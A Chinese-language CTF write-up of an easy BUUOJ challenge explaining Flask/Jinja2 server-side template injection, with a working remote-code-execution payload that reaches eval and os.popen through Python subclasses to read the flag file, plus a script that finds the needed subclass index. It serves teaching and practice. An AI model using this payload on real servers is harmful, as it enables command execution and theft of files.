利用本题,我们开始讲解简单的SSTI知识。
首先进入题目界面,发现是一个大大的google搜索界面(仿制)
在搜索栏随意输入后,发现跳转到qaq,并以get方式传入了一个name的变量。
然后我们开始修改name变量的值。
不要因为我说要讲框架注入咱们就直接上SSTI的payload。。。正常测试找攻击点咱们也该试试1’ 之类的sql注入。。。
然后我们发现输入SSTI的表达式构造会出现回显:
?name={{2*2}}
这里附一张各类框架的结构图(网图):
漏洞形成的原因其实与sql等大同小异。
关键在于一个函数和一个框架知识。
函数:reder_template
框架知识:框架渲染
render_template函数在渲染模板的时候使用了%s来动态替换字符串(见上方图),替换的过程如果我们输入的是正常的string,那输出正常。但如果我们输入计算表达式甚至代码的话,就能实现注入攻击。
利用的流程一般是先获取基本类,再获取基本类的子类,并从子类中找到关于命令执行的模块。
所以这道题我们的payload:
http://46742af1-6c83-4833-9337-84f7e1e072dd.node3.buuoj.cn/qaq?name={{%27%27.__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__[%27eval%27](%22__import__(%27os%27).popen(%27cd%20/;cat%20flag%27).read()%22)}}
这里基本没有任何过滤。
附一个可以自动检测所用类序号的脚本:
import requests
import re
url = r"http://www.example.com?SSTI={{''.__class__.__bases__[0].__subclasses__()}}"
r = requests.get(url)
s = re.findall(r"class '(.*?)'>",r.text)
print(s.index('warnings.catch_warnings')+1)
#print(r.text)
题目难度:
简单
考察点:
SSTI简单注入